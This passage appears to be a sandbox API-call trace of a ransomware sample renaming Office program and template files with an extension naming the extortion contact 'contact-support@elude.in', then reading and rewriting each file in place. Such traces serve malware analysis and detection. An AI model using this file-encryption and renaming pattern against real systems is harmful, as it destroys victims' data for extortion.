lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3a7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0186.856] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\shaded.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\shaded.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\shaded.dotx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\shaded.dotx.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0186.857] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3a7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0186.857] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\shaded.dotx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3a7fc6c | out: lpFindFileData=0x3a7fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae70165, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae70165, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2f32, dwReserved0=0x6d, dwReserved1=0x0, cFileName="shaded.dotx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SHADED~1.FIR")) returned 0x6d53c0 [0186.858] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0186.858] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\shaded.dotx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\shaded.dotx.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x68c [0186.858] GetProcessHeap () returned 0x630000 [0186.858] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2f41) returned 0x70ee500 [0186.858] GetProcessHeap () returned 0x630000 [0186.858] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2f41) returned 0x70f1450 [0186.858] SetFilePointerEx (in: hFile=0x68c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.858] ReadFile (in: hFile=0x68c, lpBuffer=0x70ee500, nNumberOfBytesToRead=0x2f20, lpNumberOfBytesRead=0x3a7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70ee500*, lpNumberOfBytesRead=0x3a7ff0c*=0x2f20, lpOverlapped=0x0) returned 1 [0188.848] GetProcessHeap () returned 0x630000 [0188.848] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73174f0 [0188.848] SetFilePointerEx (in: hFile=0x68c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.848] WriteFile (in: hFile=0x68c, lpBuffer=0x70f1450*, nNumberOfBytesToWrite=0x2f20, lpNumberOfBytesWritten=0x3a7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70f1450*, lpNumberOfBytesWritten=0x3a7ff0c*=0x2f20, lpOverlapped=0x0) returned 1 [0188.849] SetFilePointerEx (in: hFile=0x68c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.849] WriteFile (in: hFile=0x68c, lpBuffer=0x70f436f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3a7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70f436f*, lpNumberOfBytesWritten=0x3a7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0188.849] SetFilePointerEx (in: hFile=0x68c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.849] WriteFile (in: hFile=0x68c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3a7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3a7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0188.849] CloseHandle (hObject=0x68c) returned 1 [0188.849] GetProcessHeap () returned 0x630000 [0188.849] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70f1450 | out: hHeap=0x630000) returned 1 [0188.849] GetProcessHeap () returned 0x630000 [0188.849] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70ee500 | out: hHeap=0x630000) returned 1 [0188.855] GetProcessHeap () returned 0x630000 [0188.855] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73174f0 | out: hHeap=0x630000) returned 1 [0188.855] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3a7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0188.856] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\shaded.dotx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3a7fcc4 | out: lpFindFileData=0x3a7fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae70165, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x36821023, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x2f56, dwReserved0=0xc887496, dwReserved1=0x70ee4f8, cFileName="shaded.dotx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SHADED~1.FIR")) returned 0x6d5480 [0188.856] FindClose (in: hFindFile=0x6d5480 | out: hFindFile=0x6d5480) returned 1 [0188.856] Sleep (dwMilliseconds=0x1) [0191.098] SysReAllocStringLen (in: pbstr=0x3a7ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\Wordconv.exe", len=0x3c | out: pbstr=0x3a7ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\Wordconv.exe") returned 1 [0191.098] GetProcessHeap () returned 0x630000 [0191.098] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x74656a8, Size=0x4600) returned 0x74656a8 [0191.098] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Wordconv.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\wordconv.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0191.099] CloseHandle (hObject=0x42c) returned 1 [0191.100] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3a7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0191.100] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Wordconv.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\wordconv.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Wordconv.exe.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\wordconv.exe.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0191.101] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3a7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0191.101] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Wordconv.exe.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3a7fc6c | out: lpFindFileData=0x3a7fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe289dd92, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe289dd92, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe2d3c6cc, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8240, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wordconv.exe.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WORDCO~1.FIR")) returned 0x6d4f40 [0191.101] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0191.101] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Wordconv.exe.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\wordconv.exe.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0191.101] GetProcessHeap () returned 0x630000 [0191.101] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x8261) returned 0x7224598 [0191.101] GetProcessHeap () returned 0x630000 [0191.101] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x8261) returned 0x72f51a8 [0191.101] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.101] ReadFile (in: hFile=0x42c, lpBuffer=0x7224598, nNumberOfBytesToRead=0x8240, lpNumberOfBytesRead=0x3a7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7224598*, lpNumberOfBytesRead=0x3a7ff0c*=0x8240, lpOverlapped=0x0) returned 1 [0194.467] GetProcessHeap () returned 0x630000 [0194.467] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318ad0 [0194.467] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.467] WriteFile (in: hFile=0x42c, lpBuffer=0x72f51a8*, nNumberOfBytesToWrite=0x8240, lpNumberOfBytesWritten=0x3a7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72f51a8*, lpNumberOfBytesWritten=0x3a7ff0c*=0x8240, lpOverlapped=0x0) returned 1 [0195.262] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.262] WriteFile (in: hFile=0x42c, lpBuffer=0x72fd3e7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3a7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72fd3e7*, lpNumberOfBytesWritten=0x3a7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0195.271] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.271] WriteFile (in: hFile=0x42c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3a7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3a7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0195.273] CloseHandle (hObject=0x42c) returned 1 [0195.273] GetProcessHeap () returned 0x630000 [0195.273] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72f51a8 | out: hHeap=0x630000) returned 1 [0195.273] GetProcessHeap () returned 0x630000 [0195.273] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7224598 | out: hHeap=0x630000) returned 1 [0195.273] GetProcessHeap () returned 0x630000 [0195.273] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318ad0 | out: hHeap=0x630000) returned 1 [0195.273] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3a7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0195.274] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Wordconv.exe.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3a7fcc4 | out: lpFindFileData=0x3a7fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe289dd92, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe289dd92, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x3a566ce4, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x8264, dwReserved0=0xc887496, dwReserved1=0x7224590, cFileName="Wordconv.exe.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WORDCO~1.FIR")) returned 0x6d53c0 [0195.274] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0195.274] Sleep (dwMilliseconds=0x1) [0196.295] SysReAllocStringLen (in: pbstr=0x3a7ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\MAIL.OFT", len=0x3e | out: pbstr=0x3a7ff7c*="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\MAIL.OFT") returned 1 [0196.295] GetProcessHeap () returned 0x630000 [0196.295] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7133a90, Size=0x47cc) returned 0x7133a90 [0196.295] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\MAIL.OFT" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\mail.oft"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6ec [0196.308] CloseHandle (hObject=0x6ec) returned 1 [0196.309] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3a7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0196.309] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\MAIL.OFT" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\mail.oft"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\MAIL.OFT.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\mail.oft.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0196.794] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3a7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0196.794] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\MAIL.OFT.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3a7fc6c | out: lpFindFileData=0x3a7fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb787155, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb787155, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb787155, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="MAIL.OFT.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MAILOF~1.FIR")) returned 0x6d5280 [0196.794] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0196.794] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\MAIL.OFT.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\mail.oft.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6ec [0196.794] GetProcessHeap () returned 0x630000 [0196.794] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x3021) returned 0x728c8f0 [0196.795] GetProcessHeap () returned 0x630000 [0196.795] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x3021) returned 0x708bc28 [0196.796] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.796] ReadFile (in: hFile=0x6ec, lpBuffer=0x728c8f0, nNumberOfBytesToRead=0x3000, lpNumberOfBytesRead=0x3a7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x728c8f0*, lpNumberOfBytesRead=0x3a7ff0c*=0x3000, lpOverlapped=0x0) returned 1 [0198.844] GetProcessHeap () returned 0x630000 [0198.844] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318328 [0198.844] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.844] WriteFile (in: hFile=0x6ec, lpBuffer=0x708bc28*, nNumberOfBytesToWrite=0x3000, lpNumberOfBytesWritten=0x3a7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x708bc28*, lpNumberOfBytesWritten=0x3a7ff0c*=0x3000, lpOverlapped=0x0) returned 1 [0198.844] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.844] WriteFile (in: hFile=0x6ec, lpBuffer=0x708ec27*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3a7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x708ec27*, lpNumberOfBytesWritten=0x3a7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0198.845] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.845] WriteFile (in: hFile=0x6ec, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3a7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3a7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0198.845] CloseHandle (hObject=0x6ec) returned 1 [0199.796] GetProcessHeap () returned 0x630000 [0199.796] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x708bc28 | out: hHeap=0x630000) returned 1 [0199.796] GetProcessHeap () returned 0x630000 [0199.796] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x728c8f0 | out: hHeap=0x630000) returned 1 [0199.796] GetProcessHeap () returned 0x630000 [0199.796] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318328 | out: hHeap=0x630000) returned 1 [0200.548] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3a7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0200.548] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\MAIL.OFT.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3a7fcc4 | out: lpFindFileData=0x3a7fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb787155, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb787155, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x3c788897, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x3024, dwReserved0=0xc887496, dwReserved1=0x728c8e8, cFileName="MAIL.OFT.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MAILOF~1.FIR")) returned 0x6d5280 [0200.548] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0200.548] Sleep (dwMilliseconds=0x1) [0200.598] SysReAllocStringLen (in: pbstr=0x3a7ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\WINGDNG3.TTF", len=0x45 | out: pbstr=0x3a7ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\WINGDNG3.TTF") returned 1 [0200.598] GetProcessHeap () returned 0x630000 [0200.598] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7133a90, Size=0x4b78) returned 0x7133a90 [0200.598] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\WINGDNG3.TTF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\wingdng3.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6ec [0200.638] CloseHandle (hObject=0x6ec) returned 1 [0200.639] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3a7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0200.639] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\WINGDNG3.TTF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\wingdng3.ttf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\WINGDNG3.TTF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\wingdng3.ttf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0200.640] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3a7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0200.640] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\WINGDNG3.TTF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3a7fc6c | out: lpFindFileData=0x3a7fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86a29e47, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86a29e47, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x86e09b78, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WINGDNG3.TTF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WINGDN~1.FIR")) returned 0x6d5340 [0200.640] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0200.640] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\WINGDNG3.TTF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\wingdng3.ttf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6ec [0200.640] GetProcessHeap () returned 0x630000 [0200.640] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x8a21) returned 0x7393dd0 [0200.640] GetProcessHeap () returned 0x630000 [0200.640] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x8a21) returned 0x6fabfe8 [0200.640] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.640] ReadFile (in: hFile=0x6ec, lpBuffer=0x7393dd0, nNumberOfBytesToRead=0x8a00, lpNumberOfBytesRead=0x3a7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7393dd0*, lpNumberOfBytesRead=0x3a7ff0c*=0x8a00, lpOverlapped=0x0) returned 1 [0206.809] GetProcessHeap () returned 0x630000 [0206.809] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73174f0 [0206.809] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.809] WriteFile (in: hFile=0x6ec, lpBuffer=0x6fabfe8*, nNumberOfBytesToWrite=0x8a00, lpNumberOfBytesWritten=0x3a7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fabfe8*, lpNumberOfBytesWritten=0x3a7ff0c*=0x8a00, lpOverlapped=0x0) returned 1 [0206.810] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.810] WriteFile (in: hFile=0x6ec, lpBuffer=0x6fb49e7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3a7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fb49e7*, lpNumberOfBytesWritten=0x3a7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0206.810] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.810] WriteFile (in: hFile=0x6ec, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3a7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3a7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0206.810] CloseHandle (hObject=0x6ec) returned 1 [0206.810] GetProcessHeap () returned 0x630000 [0206.810] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fabfe8 | out: hHeap=0x630000) returned 1 [0206.810] GetProcessHeap () returned 0x630000 [0206.810] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7393dd0 | out: hHeap=0x630000) returned 1 [0206.810] GetProcessHeap () returned 0x630000 [0206.810] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73174f0 | out: hHeap=0x630000) returned 1 [0206.810] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3a7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0206.810] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\WINGDNG3.TTF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3a7fcc4 | out: lpFindFileData=0x3a7fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86a29e47, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86a29e47, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x41380ff1, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x8a24, dwReserved0=0xc887496, dwReserved1=0x7393dc8, cFileName="WINGDNG3.TTF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WINGDN~1.FIR")) returned 0x6d4f00 [0206.810] FindClose (in: hFindFile=0x6d4f00 | out: hFindFile=0x6d4f00) returned 1 [0206.811] Sleep (dwMilliseconds=0x1) [0208.928] SysReAllocStringLen (in: pbstr=0x3a7ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft 